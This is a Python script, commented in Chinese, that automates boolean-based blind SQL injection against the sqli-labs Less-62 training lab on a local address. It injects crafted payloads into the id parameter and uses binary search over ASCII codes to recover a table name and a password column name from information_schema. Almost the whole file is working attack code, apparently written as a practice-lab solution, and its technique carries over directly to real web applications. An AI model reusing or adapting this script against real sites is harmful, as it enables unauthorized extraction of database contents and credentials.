#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
import re
from bs4 import BeautifulSoup

# 请求次数计算
key = 0
'''
# 二分法原理
def Dichotomy(array, key):
    low = 0
    high = len(array)
    while low < high:
        mid = int((low + high + 1) / 2)
        if array[mid] > key:
            low = mid
        elif key < array[mid]:
            high = mid
        else:
            return array[mid]
'''


# 以get方式请求页面
def Get_html(Blind_sql):
    url = 'http://192.168.1.5/sqli-labs/Less-62/?id=3' + Blind_sql
    print(url)
    str_html = requests.get(url)
    return str_html.text


# 创建二分法数组
def Create_array(array, i, j):
    for number in range(i, j):
        array.append(number)
    return array


# 获得数据库名长度
def Beau_html():
    for database_number in range(7, 14):
        Url_text = '\') and length(database())=' + str(database_number) + '%23'
        str_html = Get_html(Url_text)
        soup = BeautifulSoup(str_html, 'html.parser')
        if re.search('Your Login name', soup.prettify()) is not None:
            return database_number


# 获得表名sql
def table_name_sql(table_position, table_position_ascii, s):
    table_sql = '\') and ascii(mid((select table_name from information_schema.tables where ' \
                'table_schema=\'challenges\'),' + str(table_position) + ',1))' + s + ' ' + str(table_position_ascii) \
                + ' %23 '
    return table_sql


# 获得第三个字段名称
def Get_column_sql(column_position, column_position_ascii, s, table):
    column_sql = '\') and ascii(mid((select column_name from information_schema.columns where table_schema=\'challenges\' and table_name = ' + table + ' limit 2,1),' + str(
        column_position) + ',1)) ' + s + ' ' + str(column_position_ascii) + ';%23'
    return column_sql


# 输出表名
def Get_table_name():
    global key
    table_name = ''
    array = []
    array = Create_array(array, 48, 58)  # 0-10
    array = Create_array(array, 65, 91)  # A-Z
    array.append(95)
    array = Create_array(array, 97, 123)  # a-z
    for table_number in range(1, 11):   # 数据库表名长度1-10
        low = 0
        high = len(array)
        while low < high:
            ascii_number_mid = int((low + high + 1) / 2)
            sql = table_name_sql(table_number, array[ascii_number_mid], '>=')
            str_html = Get_html(sql)
            key += 1
            soup = BeautifulSoup(str_html, 'html.parser')
            if re.search('Your Login name', soup.prettify()) is not None:
                low = ascii_number_mid
                if high == low:
                    table_name += chr(array[ascii_number_mid])
                    break
                if (low + 1) == high:
                    sql = table_name_sql(table_number, array[low], '=')
                    key += 1
                    str_html = Get_html(sql)
                    soup = BeautifulSoup(str_html, 'html.parser')
                    if re.search('Your Login name', soup.prettify()) is not None:
                        table_name += chr(array[low])
                        break
                    else:
                        table_name += chr(array[high])
                        break
            else:
                high = ascii_number_mid
                if high == low:
                    table_name += chr(array[ascii_number_mid])
                    break
                if (low + 1) == high:
                    sql = table_name_sql(table_number, array[low], '=')
                    key += 1
                    str_html = Get_html(sql)
                    soup = BeautifulSoup(str_html, 'html.parser')
                    if re.search('Your Login name', soup.prettify()) is not None:
                        table_name += chr(array[low])
                        break
                    else:
                        table_name += chr(array[high])
                        break
    return table_name


# 输出列名
def Get_column_name(table):
    global key
    column_name = ''
    array = []
    array = Create_array(array, 48, 58)  # 0-10
    array = Create_array(array, 65, 91)  # A-Z
    array.append(95)
    array = Create_array(array, 97, 123)  # a-z
    for column_number in range(1, 12): # 数据库列名长度 1-11
        low = 0
        high = len(array)
        while low < high:
            ascii_number_mid = int((low + high + 1) / 2)
            sql = Get_column_sql(column_number, array[ascii_number_mid], '>=', table)
            str_html = Get_html(sql)
            key += 1
            soup = BeautifulSoup(str_html, 'html.parser')
            if re.search('Your Login name', soup.prettify()) is not None:
                low = ascii_number_mid
                if high == low:
                    column_name += chr(array[ascii_number_mid])
                    break
                if (low + 1) == high:
                    sql = Get_column_sql(column_number, array[low], '=', table)
                    key += 1
                    str_html = Get_html(sql)
                    soup = BeautifulSoup(str_html, 'html.parser')
                    if re.search('Your Login name', soup.prettify()) is not None:
                        column_name += chr(array[low])
                        break
                    else:
                        column_name += chr(array[high])
                        break
            else:
                high = ascii_number_mid
                if high == low:
                    column_name += chr(array[ascii_number_mid])
                    break
                if (low + 1) == high:
                    sql = Get_column_sql(column_number, array[low], '=', table)
                    key += 1
                    str_html = Get_html(sql)
                    soup = BeautifulSoup(str_html, 'html.parser')
                    if re.search('Your Login name', soup.prettify()) is not None:
                        column_name += chr(array[low])
                        break
                    else:
                        column_name += chr(array[high])
                        break
    return column_name


if __name__ == "__main__":
    table_name = Get_table_name()
    column_name = Get_column_name('\'' + table_name + '\'')
    print('查找次数：' + str(key))
    print('数据库表为：' + table_name)
    print('包含密码列名为：' + column_name)


